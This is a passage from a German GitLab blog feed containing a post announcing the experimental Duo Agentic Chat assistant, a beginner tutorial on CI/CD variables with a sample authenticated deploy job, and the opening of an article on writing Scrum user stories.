<p>Willst du GitLab in Aktion sehen? Entdecke interaktive (englischsprachige) Demos für:</p>
<ul>
<li><a href="https://gitlab.navattic.com/gitlab-premium-with-duo">GitLab Premium und Ultimate mit Duo</a>: Erlebe KI-Unterstützung bei der Entwicklung,</li>
<li><a href="https://gitlab.navattic.com/gitlab-scans">Sicherheit in der CI/CD-Pipeline</a>: Sieh dir an, wie integriertes Sicherheitsscanning deine Software schützt.</li>
<li><a href="https://gitlab.navattic.com/compliance">Compliance-Frameworks</a>: Erfahre, wie GitLab Richtlinien projektübergreifend durchsetzt, um eine bessere Governance zu gewährleisten.</li>
</ul>
<blockquote>
<p>Nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über die Zukunft der DevSecOps-Plattform zu erfahren, einschließlich der Rolle der agentischen KI. <a href="https://about.gitlab.com/de-de/eighteen/">Registriere dich noch heute!</a></p>
</blockquote>
]]></content>
        <author>
            <name>Itzik Gan Baruch</name>
            <uri>https://about.gitlab.com/blog/authors/itzik-gan baruch</uri>
        </author>
        <published>2025-06-02T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Duo Chat: Entdecke den neuen KI-Assistenten]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/"/>
        <updated>2025-05-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Generative KI-Chat-Assistenten sind in kurzer Zeit zum Standard in der Softwareentwicklung geworden und helfen dabei, Code zu erstellen und zu verbessern. Stell dir nun vor, dein Chat-Assistent könnte die Artefakte deines gesamten Entwicklungsprozesses und nicht nur deinen Code verstehen.</p>
<p>Was wäre, wenn dieser Chat-Assistent dir hilft, Tickets und Projektdokumentationen zu bearbeiten, bevor er dich beim Programmieren unterstützt, und auf CI/CD-Pipelines und Merge Requests zugreifen könnte, um dich bei der ordnungsgemäßen Durchführung von Programmieraufgaben zu begleiten?</p>
<p><strong>Lerne die nächste Generation von GitLab Duo Chat kennen – GitLab Duo Agentic Chat, eine bedeutende Weiterentwicklung in der KI-nativen Entwicklungsunterstützung und die neueste Ergänzung unserer Plattform, die jetzt als <a href="https://docs.gitlab.com/policy/development_stages_support/#experiment">experimenteller Release (nur in englischer Sprache)</a> verfügbar ist.</strong></p>
<p>GitLab Duo Agentic Chat ist für alle GitLab.com-Benutzer(innen) mit der Workflow-Erweiterung von GitLab in VS Code verfügbar.</p>
<p>Mit Agentic Chat ist der Chat nicht mehr bloß eine herkömmliche dialogorientierte KI, sondern wird zum Chat-Assistenten, der in deinem Namen selbst handelt und komplexe Probleme in einzelne Aufgaben unterteilt, die er lösen kann. Anstatt einfach nur Fragen mit deinem angegebenen Kontext zu beantworten, kann Agentic Chat:</p>
<ul>
<li><strong>Autonom feststellen</strong>, welche Informationen er braucht, um deine Fragen zu beantworten</li>
<li><strong>Eine Reihe von Vorgängen ausführen</strong>, um diese Informationen aus verschiedenen Quellen zu sammeln</li>
<li><strong>Umfassende Antworten formulieren</strong>, indem er Einblicke aus deinem gesamten Projekt kombiniert</li>
<li><strong>Dateien erstellen und bearbeiten</strong>, um dir dabei zu helfen, Lösungen zu implementieren.</li>
</ul>
<p>Dabei bleibt stets der Mensch als Entwickler(in) involviert.</p>
<p>Agentic Chat basiert auf der Architektur von Duo Workflow, der derzeit in der <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/">privaten Beta-Version verfügbar ist</a>. Die Architektur besteht aus Agenten und Tools, die bestimmte Aufgaben übernehmen, z. B. den richtigen Kontext für eine bestimmte Frage finden oder Dateien bearbeiten.</p>
<p><strong>Anwendungsfälle für GitLab Duo Agentic Chat</strong></p>
<p>Hier findest du einige praktische und häufige Anwendungsfälle für Agentic Chat:</p>
<ul>
<li>Arbeite dich schneller in neue Projekte ein, indem die KI dir hilft, mit einer neuen Codebase vertraut zu werden.</li>
<li>Lege sofort mit der zugewiesenen Arbeit los, auch wenn Ticketbeschreibungen unklar sind. Agentic Chat kann dir nämlich helfen, die Lücke zwischen Anforderungen und bestehenden Implementierungen zu überbrücken.</li>
<li>Wenn du Änderungen vornehmen möchtest, kann Agentic Chat die Implementierung übernehmen, indem er Dateien übergreifend über dein Projekt erstellt und bearbeitet.</li>
<li>Wenn ein Release ansteht, kann dir Agentic Chat helfen, zu überprüfen, ob deine Lösung die ursprünglichen Anforderungen auch tatsächlich erfüllt, indem er deinen Merge Request anhand des ursprünglichen Tickets oder der ursprünglichen Aufgabe überprüft.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099210/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099210429.png" alt="Agentic Chat – Beispiel"></p>
<p>&lt;center&gt;&lt;i&gt;Agentic Chat bearbeitet Code&lt;/i&gt;&lt;/center&gt;</p>
<h2>Vom Lernen zum Bereitstellen: eine komplette Workflow-Demonstration in vier Schritten</h2>
<p>Um dir zu zeigen, wie Agentic Chat das Entwicklererlebnis transformiert, sehen wir uns ein echtes Szenario unserer Entwicklungsteams an. Stell dir vor, du bist ein neues Teammitglied und hast ein Ticket zugewiesen bekommen, weißt aber nichts über die Codebase. Sieh dir diese Videodemonstration an:</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/uG9-QLAJrrg?si=kaOhYylMIaWkIuG8j&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<p><strong>Schritt 1: Das Projekt verstehen</strong></p>
<p>Anstatt manuell die Dateien und die Dokumentation zu durchforsten, kannst du einfach folgenden Prompt in Agentic Chat eingeben:</p>
<pre><code class="language-unset">I am new to this project. Could you read the project structure and explain it to me?
</code></pre>
<p>(Ich kenne dieses Projekt noch nicht. Lies dir bitte die Projektstruktur durch und erkläre sie mir.)</p>
<p>Agentic Chat bietet dir dann wir folgt einen umfassenden Projektüberblick:</p>
<ul>
<li>Er sieht sich die Verzeichnisstruktur an.</li>
<li>Er liest README-Dateien und die Dokumentation.</li>
<li>Er identifiziert wichtige Komponenten und Anwendungen.</li>
</ul>
<p><strong>Schritt 2: Deine zugewiesene Aufgabe verstehen</strong></p>
<p>Nun musst du deine jeweilige Aufgabe verstehen. Gib dazu den folgenden Prompt ein:</p>
<pre><code class="language-unset">I have been assigned Issue 1119. Could you help me understand this task, specifically where do I need to apply the refactoring?
</code></pre>
<p>(Mir wurde das Ticket 1119 zugewiesen. Hilf mir bitte, diese Aufgabe zu verstehen. Wo genau muss ich das Refactoring durchführen?)</p>
<p>Agentic Chat erklärt dir die Aufgabe und schlägt einen Refactoring-Ansatz vor, indem er wie folgt vorgeht:</p>
<ul>
<li>Er ruft die Details des Tickets vom GitLab-Remote-Server ab und analysiert sie.</li>
<li>Er untersucht relevante Projektdateien.</li>
<li>Er identifiziert die spezifischen Orte, für die Änderungen nötig sind.</li>
</ul>
<p><strong>Schritt 3: Die Lösung implementieren</strong></p>
<p>Anstatt die Arbeit manuell zu erledigen, kannst du folgende Frage stellen:</p>
<pre><code class="language-unset">Could you make the edits for me? Please start with steps one, two, three.
</code></pre>
<p>(Kannst du die Bearbeitungen für mich vornehmen? Bitte beginne mit den Schritten eins, zwei und drei.)</p>
<p>Agentic Chat geht dann so vor:</p>
<ul>
<li>Er erstellt, wenn nötig, neue Verzeichnisse und Dateien.</li>
<li>Er extrahiert und refaktorisiert Code an mehreren Stellen.</li>
<li>Er stellt die Konsistenz übergreifend über alle geänderten Dateien sicher.</li>
<li>Er erstelle eine Übersicht über alle vorgenommenen Änderungen.</li>
</ul>
<p><strong>Schritt 4: Vollständigkeit überprüfen</strong></p>
<p>Nachdem nun abschließend dein Merge Request erstellt wurde, kannst du deine Arbeit überprüfen:</p>
<pre><code class="language-unset">Does my MR fully address Issue 1119?
</code></pre>
<p>(Löst mein MR das Ticket 1119 vollständig?)</p>
<p>Agentic Chat bestätigt nun, dass alle Anforderungen erfüllt werden, indem er sowohl deinen Merge Request als auch das ursprüngliche Ticket analysiert.</p>
<h2>Probiere es jetzt aus und teile dein Feedback</h2>
<p>GitLab Duo Agentic Chat ist derzeit als experimentelle Funktion in VS Code für Benutzer(innen) von GitLab Duo Pro und GitLab Duo Enterprise verfügbar. In unserer <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/">Einrichtungsdokumentation (nur in englischer Sprache verfügbar)</a> findest du die Voraussetzungen und Konfigurationsschritte.</p>
<p>Da Agentic Chat derzeit nur eine experimentelle Funktion ist, hat er einige bekannte Einschränkungen, an denen wir derzeit aktiv arbeiten. Dazu gehören langsamere Reaktionszeiten aufgrund mehrerer API-Aufrufe, eine eher schlüsselwortbasierte als semantische Suche und eine eingeschränkte Unterstützung für neue lokale Ordner oder Nicht-GitLab-Projekte. <strong>Dein Feedback ist wichtig, damit wir die Verbesserungen priorisieren und Agentic Chat bald allgemein verfügbar machen können. Teile daher bitte deine Erfahrungen in <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/542198">diesem Ticket</a> mit uns.</strong></p>
<h2>Wie geht es weiter?</h2>
<p>Unser Hauptaugenmerk liegt darauf, Agentic Chat zu verbessern und allgemein verfügbar zu machen. In der Zwischenzeit arbeiten wir daran, die Reaktionszeiten zu verbessern und Funktionen hinzuzufügen, die GitLab Duo Chat derzeit bietet, wie z. B. die Verwendung von selbst gehosteten Modellen oder die Unterstützung von JetBrains und Visual Studio zusätzlich zu VS Code. Sobald wir Duo Chat auf diese neue Architektur umgestellt haben, planen wir außerdem, Agentic Chat in die Chat-Funktion der GitLab-Webanwendung zu integrieren. Zudem sind viele weitere Funktionen geplant, wie z. B. die Bearbeitung von GitLab-Artefakten, die Unterstützung von Kontexten aus benutzerdefinierten Model-Context-Protocol- oder MCP-Servern und Befehle, die im Terminal ausgeführt werden können.</p>
<blockquote>
<p>Möchtest du autonome Entwicklungsunterstützung erleben, bist aber noch kein(e) GitLab-Kund(in)? Probiere Agentic Chat jetzt im Rahmen <a href="https://about.gitlab.com/de-de/free-trial/">einer kostenlosen 60-tägigen Testversion von GitLab Ultimate mit Duo Enterprise</a> aus und gestalte die Zukunft der KI-basierten Entwicklung mit. Folge diesen <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat-in-vs-code">Einrichtungsschritten für VS Code (nur in englischer Sprache verfügbar)</a>.</p>
</blockquote>
<p><em><strong>Haftungsausschlussklausel: Dieser Blog enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen in diesem Blogbeitrag nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die in diesem Blog und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab.</strong></em></p>
<h2>Mehr erfahren</h2>
<ul>
<li><a href="https://about.gitlab.com/de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/">GitLab Duo Workflow: Transparenz und Kontrolle für agentische KI auf Enterprise-Niveau</a></li>
<li><a href="https://about.gitlab.com/de-de/topics/agentic-ai/">Was ist agentische KI?</a></li>
<li><a href="https://about.gitlab.com/blog/agentic-ai-guides-and-resources/">Leitfäden und Ressourcen zu agentischer KI (nur in englischer Sprache verfügbar)</a></li>
</ul>
]]></content>
        <author>
            <name>Torsten Linz</name>
            <uri>https://about.gitlab.com/blog/authors/torsten-linz</uri>
        </author>
        <published>2025-05-29T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Erste Schritte mit GitLab: Arbeiten mit CI/CD-Variablen]]></title>
        <id>https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-working-with-ci-cd-variables/</id>
        <link href="https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-working-with-ci-cd-variables/"/>
        <updated>2025-05-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><em>Willkommen zu unserer Serie „Erste Schritte mit GitLab“, in der wir Neueinsteiger(inne)n helfen, sich mit der DevSecOps-Plattform von GitLab vertraut zu machen.</em></p>
<p>In einem früheren Artikel haben wir uns mit <a href="https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-understanding-ci-cd/">GitLab CI/CD</a> beschäftigt. Jetzt tauchen wir tiefer in die Welt der <strong>CI/CD-Variablen</strong> ein und erschließen ihr volles Potenzial.</p>
<h2>Inhaltsverzeichnis</h2>
<ul>
<li><a href="#was-sind-cicd-variablen%3F">Was sind CI/CD-Variablen?</a></li>
<li><a href="#warum-sind-cicd-variablen-wichtig%3F">Warum sind CI/CD-Variablen wichtig?</a></li>
<li><a href="#geltungsbereiche-von-cicd-variablen-projekt-gruppe-und-instanz">Geltungsbereiche von CI/CD-Variablen: Projekt, Gruppe und Instanz</a></li>
<li><a href="#definieren-von-cicd-variablen">Definieren von CI/CD-Variablen</a></li>
<li><a href="#verwenden-von-cicd-variablen">Verwenden von CI/CD-Variablen</a></li>
<li><a href="#vordefinierte-cicd-variablen">Vordefinierte CI/CD-Variablen</a></li>
<li><a href="#bew%C3%A4hrte-methoden">Bewährte Methoden</a></li>
<li><a href="#entdecke-die-leistungsf%C3%A4higkeit-von-variablen">Entdecke die Leistungsfähigkeit von Variablen</a></li>
<li><a href="#reihe-%E2%80%9Eerste-schritte-mit-gitlab%E2%80%9C">Reihe „Erste Schritte mit GitLab&quot;</a></li>
</ul>
<h3>Was sind CI/CD-Variablen?</h3>
<p>CI/CD-Variablen sind dynamische Schlüssel-Wert-Paare, die du auf verschiedenen Ebenen in deiner GitLab-Umgebung definieren kannst (z. B. Projekt, Gruppe oder Instanz). Diese Variablen fungieren als Platzhalter für Werte, die du in deiner <code>.gitlab-ci.yml</code>-Datei verwenden kannst, um deine Pipelines anzupassen, vertrauliche Informationen sicher zu speichern und deine CI/CD-Konfiguration besser zu pflegen.</p>
<h3>Warum sind CI/CD-Variablen wichtig?</h3>
<p>CI/CD-Variablen bieten zahlreiche Vorteile:</p>
<ul>
<li><strong>Flexibilität</strong> – Du kannst deine Pipelines leicht an verschiedene Umgebungen, Konfigurationen oder Bereitstellungsziele anpassen, ohne dein zentrales CI/CD-Skript zu ändern.</li>
<li><strong>Sicherheit</strong> – Speichere vertrauliche Informationen wie API-Schlüssel, Passwörter und Token sicher und verhindere so, dass sie in deinem Code offengelegt werden.</li>
<li><strong>Wartbarkeit</strong> – Verwalte deine CI/CD-Konfiguration sauber und übersichtlich, indem du Werte in Variablen zentralisierst, was Aktualisierungen und Änderungen erleichtert.</li>
<li><strong>Wiederverwendbarkeit</strong> – Definiere Variablen einmal und verwende sie in mehreren Projekten wieder, um die Konsistenz zu fördern und doppelte Arbeit zu vermeiden.</li>
</ul>
<h3>Geltungsbereiche von CI/CD-Variablen: Projekt, Gruppe und Instanz</h3>
<p>Mit GitLab kannst du CI/CD-Variablen mit unterschiedlichen Geltungsbereichen definieren und so ihre Sichtbarkeit und Zugänglichkeit steuern:</p>
<ul>
<li>
<p><strong>Variablen auf Projektebene</strong> – Diese Variablen sind spezifisch für ein einzelnes Projekt und eignen sich ideal zum Speichern von projektspezifischen Einstellungen, wie zum Beispiel:</p>
<ul>
<li>Bereitstellungs-URLs: Definiere unterschiedliche URLs für Staging- und Produktivumgebungen.</li>
<li>Datenbank-Zugangsdaten: Speichere Details zur Datenbankverbindung für Tests oder die Bereitstellung.</li>
<li>Feature-Flags: Aktiviere oder deaktiviere Funktionen in verschiedenen Phasen deiner Pipeline.</li>
<li>Beispiel: Du hast ein Projekt mit dem Namen „MyWebApp“ und möchtest die URL für die Bereitstellung speichern. Du erstellst eine Variable auf Projektebene mit dem Namen <code>DPROD_DEPLOY_URL</code> und dem Wert <code>https://mywebapp.com</code>.</li>
</ul>
</li>
<li>
<p><strong>Variablen auf Gruppenebene</strong> – Diese Variablen werden von allen Projekten innerhalb einer GitLab-Gruppe gemeinsam genutzt. Sie sind nützlich für Einstellungen, die für mehrere Projekte gleich sind, wie z. B.:</p>
<ul>
<li>API-Schlüssel für gemeinsam genutzte Dienste: Speichere API-Schlüssel für Dienste wie AWS, Google Cloud oder Docker Hub, die von mehreren Projekten innerhalb der Gruppe genutzt werden.</li>
<li>Globale Konfigurationseinstellungen: Lege gemeinsame Konfigurationsparameter fest, die für alle Projekte in der Gruppe gelten.</li>
<li>Beispiel: Du hast eine Gruppe mit dem Namen „Web-Apps“ und möchtest einen API-Schlüssel für Docker Hub speichern. Du erstellst eine Variable auf Gruppenebene mit dem Namen <code>DOCKER_HUB_API_KEY</code> und dem entsprechenden API-Schlüsselwert.</li>
</ul>
</li>
<li>
<p><strong>Variablen auf Instanzebene</strong> – Diese Variablen sind für alle Projekte auf einer GitLab-Instanz verfügbar. Sie werden in der Regel für globale Einstellungen verwendet, die für das gesamte Unternehmen gelten, wie z. B.:</p>
<ul>
<li>Standard-Token für die Registrierung von Runnern: Lege ein Standard-Token für die Registrierung neuer <a href="https://docs.gitlab.com/runner/">Runner (nur in englischer Sprache verfügbar)</a> fest.</li>
<li>Lizenzinformationen: Hier kannst du Lizenzschlüssel für GitLab-Funktionen oder Tools von Drittanbietern speichern.</li>
<li>Globale Umgebungseinstellungen: Lege Umgebungsvariablen fest, die für alle Projekte verfügbar sein sollen.</li>
<li>Beispiel: Du möchtest ein Standard-Docker-Image für alle Projekte in deiner GitLab-Instanz festlegen. Du erstellst eine Variable auf Instanzebene mit dem Namen <code>DEFAULT_DOCKER_IMAGE</code> und dem Wert <code>ubuntu:latest</code>.</li>
</ul>
</li>
</ul>
<h3>Definieren von CI/CD-Variablen</h3>
<p>So definierst du eine CI/CD-Variable:</p>
<ol>
<li>Klicke auf die Schaltflächen <strong>Einstellungen &gt; CI/CD</strong> für dein Projekt, deine Gruppe oder deine Instanz.</li>
<li>Gehe zum Abschnitt <strong>Variablen</strong>.</li>
<li>Klicke auf <strong>Variable hinzufügen</strong>.</li>
<li>Gib den <strong>Schlüssel</strong> (z. B. <code>API_KEY</code>) und den <strong>Wert</strong> ein.</li>
<li>Aktiviere optional das Kontrollkästchen <strong>Variable schützen</strong>, wenn es sich um vertrauliche Informationen handelt. Dadurch wird sichergestellt, dass die Variable nur für Pipelines verfügbar ist, die auf geschützten Branches oder Tags ausgeführt werden.</li>
<li>Aktiviere optional das Kontrollkästchen <strong>Variable maskieren</strong>, um den Wert der Variable in den Job-Protokollen auszublenden und eine versehentliche Offenlegung zu verhindern.</li>
<li>Klicke auf <strong>Variable speichern</strong>.</li>
</ol>
<h3>Verwenden von CI/CD-Variablen</h3>
<p>Um eine CI/CD-Variable in deiner <code>.gitlab-ci.yml</code>-Datei zu verwenden, stellst du dem Variablennamen einfach <code>$</code> voran:</p>
<pre><code class="language-yaml">deploy_job:
  script:
    - echo &quot;Deploying to production...&quot;
    - curl -H &quot;Authorization: Bearer $API_KEY&quot; https://api.example.com/deploy
</code></pre>
<h3>Vordefinierte CI/CD-Variablen</h3>
<p>GitLab stellt <a href="https://docs.gitlab.com/ci/variables/predefined_variables/">vordefinierte CI/CD-Variablen (nur in englischer Sprache verfügbar)</a> bereit, die du in deinen Pipelines verwenden kannst. Diese Variablen liefern Informationen über die aktuelle Pipeline, den Job, das Projekt und mehr.</p>
<p>Einige häufig verwendete vordefinierte Variablen sind:</p>
<ul>
<li><code>$CI_COMMIT_SHA</code>: Der Commit-SHA der aktuellen Pipeline.</li>
<li><code>$CI_PROJECT_DIR</code>: Das Verzeichnis, in dem das Projekt geklont wird.</li>
<li><code>$CI_PIPELINE_ID</code>: Die ID der aktuellen Pipeline.<br>
*<code>$CI_ENVIRONMENT_NAME</code>: Der Name der Umgebung, in der bereitgestellt wird (falls zutreffend).</li>
</ul>
<h3>Bewährte Methoden</h3>
<ul>
<li>Verwalte vertrauliche Variablen sicher: Verwende geschützte und maskierte Variablen für API-Schlüssel, Passwörter und andere vertrauliche Informationen.</li>
<li>Vermeide das Hardcoding von Werten: Verwende Variablen zum Speichern von Konfigurationswerten, um deine Pipelines flexibler und wartbarer zu machen.</li>
<li>Organisiere deine Variablen: Verwende aussagekräftige Namen und gruppiere verwandte Variablen, um sie besser zu organisieren.</li>
<li>Verwende den richtigen Geltungsbereich: Wähle den richtigen Geltungsbereich (Projekt, Gruppe oder Instanz) für deine Variablen aus, je nach Verwendungszweck und Sichtbarkeit.</li>
</ul>
<h3>Entdecke die Leistungsfähigkeit von Variablen</h3>
<p>CI/CD-Variablen sind ein leistungsstarkes Tool zur Anpassung und Sicherung deiner GitLab-Pipelines. Wenn du verstanden hast, wie Variablen funktionieren und ihre unterschiedlichen Geltungsbereiche kennst, kannst du flexiblere, wartbarere und effizientere Workflows erstellen.</p>
<p>Wir hoffen, dass diese Informationen für dich hilfreich waren und du jetzt gut gerüstet bist, um die Möglichkeiten von GitLab für deine Entwicklungsprojekte zu nutzen.</p>
<blockquote>
<p>Lege jetzt los mit CI/CD-Variablen mit einer <a href="https://about.gitlab.com/de-de/free-trial/">kostenlosen, 60-tägigen Testversion von GitLab Ultimate mit Duo Enterprise</a>.</p>
</blockquote>
<h2>Reihe „Erste Schritte mit GitLab“</h2>
<p>Lies weitere Artikel in unserer Serie „Erste Schritte mit GitLab“:</p>
<ul>
<li><a href="https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-how-to-manage-users/">Benutzerverwaltung</a></li>
<li><a href="https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/">Projekte in GitLab importieren (nur in englischer Sprache verfügbar)</a></li>
<li><a href="https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-mastering-project-management/">Projektmanagement</a></li>
<li><a href="https://about.gitlab.com/de-de/blog/automating-agile-workflows-with-the-gitlab-triage-gem/">Automatisiere Agile-Workflows mit dem gem gitlab-triage</a></li>
<li><a href="https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-understanding-ci-cd/">Grundlegendes zu CI/CD</a></li>
</ul>
]]></content>
        <author>
            <name>GitLab Team</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab-team</uri>
        </author>
        <published>2025-05-27T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[So schreibst du eine User Story in Scrum]]></title>
        <id>https://about.gitlab.com/de-de/blog/how-to-write-a-user-story-in-scrum/</id>
        <link href="https://about.gitlab.com/de-de/blog/how-to-write-a-user-story-in-scrum/"/>
        <updated>2025-05-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Die User Story ist ein sehr einfaches Konzept. Trotzdem hat sie die Projektplanung entscheidend verändert - und das, obwohl User Stories zum Beispiel in <a href="https://about.gitlab.com/de-de/blog/scrum-project-management-how-it-works/">Scrum</a> nicht einmal vorkommen.</p>
<p>Gerade weil User Storys für die Teamarbeit so wichtig sind, stellen sie eine Herausforderung dar. Diskussionen um die richtige Formulierung einer User Story in Scrum oder ihre korrekte Bearbeitung in <a href="https://about.gitlab.com/de-de/blog/what-is-kanban/">Kanban</a> können wertvolle Zeit verbrauchen. So empfinden viele das Konzept eher als undeutlich, aufwändig und belastend.</p>
<p>Wir glauben fest daran, dass eine tiefe Verinnerlichung von User Storys - gerade in der <a href="https://about.gitlab.com/de-de/solutions/agile-delivery/">agilen Methode</a> - dich wirklich voranbringen kann. In diesem Artikel werden wir deshalb so praxisnah wie möglich demonstrieren, wie du sie nutzen kannst, um zu besseren Entscheidungen, Prozessen und Produkten zu gelangen.</p>
<h2>Inhaltsverzeichnis</h2>
<ul>
<li><a href="#was-ist-eine-user-story%3F">Was ist eine User Story?</a></li>
<li><a href="#warum-sollte-ich-mit-user-stories-arbeiten%3F">Warum sollte ich mit User Stories arbeiten?</a></li>
<li><a href="#kann-ich-auch-ohne-user-stories-auskommen%3F">Kann ich auch ohne User Stories auskommen?</a></li>
<li><a href="#welche-rolle-spielen-user-stories-in-agile%3F">Welche Rolle spielen User Stories in Agile?</a></li>
<li><a href="#user-stories-in-scrum">User Stories in Scrum</a></li>
<li><a href="#wie-schreibe-ich-eine-gute-user-story%3F">Wie schreibe ich eine gute User Story?</a>
<ul>
<li><a href="#das-3c-modell">Das 3C-Modell</a></li>
<li><a href="#invest">INVEST</a></li>
</ul>
</li>
<li><a href="#scrum-user-story-aufbau-und-beispiel">Scrum User Story: Aufbau und Beispiel</a>
<ul>
<li><a href="#user-story-beispiel-schritt-1-5-whys">User-Story-Beispiel Schritt 1: 5 Whys</a></li>
<li><a href="#user-story-beispiel-schritt-2-connextra-template">User-Story-Beispiel Schritt 2: Connextra-Template</a></li>
<li><a href="#user-story-beispiel-schritt-3-akzeptanzkriterien">User-Story-Beispiel Schritt 3: Akzeptanzkriterien</a></li>
<li><a href="#das-gherkin-format">Das Gherkin-Format</a></li>
</ul>
</li>
<li><a href="#agile-schatzung">Agile Schätzung</a></li>
<li><a href="#story-points-aufwand-vs-arbeitszeit">Story Points: Aufwand vs. Arbeitszeit</a></li>
<li><a href="#story-points-in-der-schatzung">Story Points in der Schätzung</a>
<ul>
<li><a href="#planning-poker">Planning Poker</a></li>
<li><a href="#affinity-mapping">Affinity Mapping</a></li>
</ul>
</li>
<li><a href="#wer-schreibt-user-stories%3F">Wer schreibt User Stories?</a></li>
</ul>
<p>Wir werden dabei definieren, was User Stories sind, über das Schreiben und den Aufbau einer User Story informieren, Beispiele geben und dir zeigen, was eine gute User Story ausmacht. Doch fangen wir mit einer grundlegenden Frage an:</p>
<h2>Was ist eine User Story?</h2>
<p>Manche bezeichnen eine User Story schlicht als die kleinste Einheit (oder auch als ein „<a href="https://t2informatik.de/wissen-kompakt/user-story/">Werkzeug</a>”) der agilen Methode. Andere, darunter auch die <a href="https://scrumguide.de/user-story/">Agile Scrum Group</a>, als eine „Beschreibung dessen, was ein Benutzer (User) will.”</p>
<p>Aus diesen Definitionsversuchen wird deutlich: <strong>Eine User Story ist eigentlich gar keine „Geschichte”. Sie stellt vielmehr einen Ansatz dar, dein Produkt so zu verändern, dass es aus der Sicht der Kund(innen) ein neues, besseres Erlebnis bietet.</strong></p>
<p>Innerhalb einer User Story ist ein neues Feature somit nur dann eine Verbesserung, wenn es Anwender(innen) einen ganz bestimmten, erfahrbaren Nutzen bietet. Eine Software zu „optimieren”, ohne nach diesem Nutzen zu fragen, wird dabei als nicht zielführend betrachtet.</p>
<p>Gute User Stories zu schreiben, bedeutet, dich in der Entwicklung von Kund(innen) leiten zu lassen und auf ihre Bedürfnisse und Wünsche hinzuarbeiten. Es bedeutet, den Fokus auf Features hinter dir zu lassen und dich in Richtung einer Betrachtungweise zu bewegen, bei der echte Wertschöpfung in den Mittelpunkt gestellt wird.</p>
<p>Dennoch wurde der Begriff „Story”, wie Jeff Patton, einer der geistigen Väter der modernen User Story betont hat, mit Bedacht gewählt. Wir werden darauf später noch genauer eingehen.</p>
<h2>Warum sollte ich mit User Stories arbeiten?</h2>
<p>Diese Frage stellt sich in einigen Teams wohl so manche(r). Denn in der Praxis nimmt sich die Arbeit mit User Stories nicht immer einfach aus. Dennoch lohnt sich die investierte Mühe zweifelsohne. Denn das Konzept der User Story mag auf dem Papier fast schon banal anmuten. In Wahrheit steckt dahinter eine entscheidende Neuausrichtung der Entwicklungsarbeit:</p>
<ul>
<li>User Stories legen den Fokus voll und ganz auf die Anwender(innen) - also auf diejenigen, die das Produkt nutzen, bewerten und bezahlen.</li>
<li>Sie verlagern den Schwerpunkt von „objektiven” Features auf das „subjektive” Erlebnis, mit diesen Features zu arbeiten. Hier kommt der „Story-Gedanke” zum Tragen: Wie wertvoll dein Produkt aus Sicht der Kund(innen) ist, hängt von der Geschichte ab, die sich User(innen) darüber bilden.</li>
<li>Damit kombinieren diese Stories beide Sichten auf ein Produkt: Die technisch-funktionale sowie die narrativ-emotionale.</li>
<li>Weil User Stories die Betonung auf den Nutzen legen, der für Kund(innen) entsteht, sind sie in ihrer Umsetzung nicht starr festgelegt. Das Ziel ist nicht die Anwendung, sondern die Vorstellung von einer besseren Erfahrung. Der Weg zu dieser Erfahrung lässt sich auf viele verschiedene Weisen erreichen.</li>
<li>User Storys sind Teil eines kontinuierlichen Verbesserungsprozesses wie der <a href="https://about.gitlab.com/de-de/solutions/delivery-automation/">automatisierten Softwarebereitstellung</a>, mit vielen sofort testbaren Zwischenstufen (<em>minimal viable product</em>, das kleinste realisierbare Produkt). Dieser Prozess endet theoretisch mit einem Produkt, das aus Sicht der Kund(innen) nicht mehr optimiert werden kann (und welches somit in der Praxis niemals erreicht werden wird).</li>
</ul>
<p>In der Regel helfen User Stories auch dabei, sinnvolle Prioritäten zu setzen, die praxisnah und in einem angemessenen Zeitrahmen realisierbar sind.</p>
<h2>Kann ich auch ohne User Stories auskommen?</h2>
<p>User Stories haben sich fest etabliert. Dennoch kommen auch heute noch viele Teams ohne sie aus. Sogar Firmen, die sich eigentlich fest der agilen Methode verschrieben haben, nutzen sie nicht zwangsläufig.</p>
<p>Trotzdem kann man behaupten: Wer wirklich agil arbeiten will, wird zumindest mit Instrumenten und Konzepten arbeiten, die den User Stories sehr nahe kommen. Wie wir im nächsten Abschnitt zeigen werden, bauen beide auf demselben Ansatz auf und sind eng miteinander verflochten.</p>
